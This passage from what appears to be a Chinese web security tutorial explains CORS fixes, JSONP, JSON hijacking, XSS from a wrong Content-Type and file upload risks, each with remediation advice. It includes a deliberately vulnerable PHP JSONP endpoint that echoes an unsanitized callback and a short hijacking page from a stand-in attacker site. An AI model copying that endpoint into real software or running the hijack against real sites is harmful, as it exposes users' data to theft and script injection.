原因是因为,Cookie信息也需要遵从同源策略!!!必须指定域。

修复建议

1.使用白名单方式,明确支持跨域的域名,禁止使用通配符*,同时尽量避免使用Access-Control-Allow-Credentials头字段。
例如,我只允许hacksb.com跨域请求,直接写死就完事了。
header("Access-Control-Allow-Origin:http://www.hacksb.com");
2.用Referer来防御
判断Referer的值是不是允许的网站发起的.
例如我允许hacksb.com来源的请求。

1
2
3
4
5
$url = parse_url($_SERVER["HTTP_REFERER"]);
$domain = $url["host"];
if($domain == "www.hacksb.com"){
phpinfo();
}

JSONP(JSON with Padding)

JSONP是JSON的一种”使用模式”,可用于解决主流浏览器的跨域数据访问的问题。
由于同源策略,一般来说位于 server1.example.com 的网页无法与不是 server1.example.com的服务器沟通,而 HTML 的<script> 元素是一个例外。
利用 <script> 元素的这个开放策略,网页可以得到从其他来源动态产生的 JSON 资料,而这种使用模式就是所谓的 JSONP。

JSONP使用

a 网站有个接口http://www.lxhsec.com/getUserInfo.php?callback=callbackFunction

用于获取用户信息,根据前端不同的函数,显示不同的结果。

1
2
3
4
5
<?php
//getUserInfo.php
$callback = $_GET['callback'];
echo $callback . '({"id" : "1","name" : "www.lxhsec.com"});';
?>

直接访问,如下:
jsonp1

然后在app.lxhsec.com使用 <script> 进行跨域请求,

JSON.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP 实例</title>
</head>
<body>
<script type="text/javascript">
function callbackFunction(result){
console.log(result);
}
</script>
<script type="text/javascript" src="http://www.lxhsec.com/getUserInfo.php?callback=callbackFunction"></script>
</body>
</html>

效果如下:
jsonp2

JSON劫持(JSON Hijacking)

上述JSONP使用,app.lxhsec.com调用了www.lxhsec.com的JSONP接口,并执行了app.lxhsec.com网站声明的callbackFunction函数。

那么 如果有个C(www.hacksb.com)网站,同样调用www.lxhsec.com的JSONP接口也声明一个callbackFunction函数,函数内容可以被任意控制,JSONP的接口产生数据可被C网站的函数进行任意操作,劫持也就产生了。

JSON.html

1
2
3
4
5
6
<script type="text/javascript">
function callbackFunction(result){
alert(JSON.stringify(result));
}
</script>
<script type="text/javascript" src="http://www.lxhsec.com/getUserInfo.php?callback=callbackFunction"></script>

jsonp3

修复建议

1.校验Referer
判断Referer的值是不是允许的网站发起的.
例如我允许hacksb.com来源的请求。

1
2
3
4
5
$url = parse_url($_SERVER["HTTP_REFERER"]);
$domain = $url["host"];
if($domain == "www.hacksb.com"){
//执行jsonp
}

2.每次访问服务端,服务端给一个随机Token。

Content-Type 不正确导致的XSS

JSONP章节开头提到的php代码实现:

1
2
3
4
5
<?php
//getUserInfo.php
$callback = $_GET['callback'];
echo $callback . '({"id" : "1","name" : "www.lxhsec.com"});';
?>

上述代码,服务端返回的Content-Typetext/html.
jsonp4

Content-Typetext/html的情况下,JSONP or Callback内容可控,可造成XSS。

php代码中Callback可控,因此可造成XSS。
jsonp5

修复方式

明确Content-Type为application/json
php:
header('Content-Type: application/json; charset=utf-8');
再次请求:
jsonp6

文件上传(File Upload)

在网站的运营过程中,不可避免地要对网站的某些页面或者内容进行更新,这时便需要使用到网站的文件上传的功能。
如果不对被上传的文件进行限制或者限制被绕过,该功能便有可能会被利用于上传可执行文件、脚本到服务器上,进而进一步导致服务器沦陷。

文件上传学习

总结:
file-upload-summary

修复建议

1.使用白名单进行验证,预防未知风险。
2.将上传的文件重命名为 时间戳 + 随机数 +.jpg 的格式并禁用文件上传目录的执行脚本权限。

穷困潦倒的安全工作者,如果文章对您有所帮助,可以选择性打赏。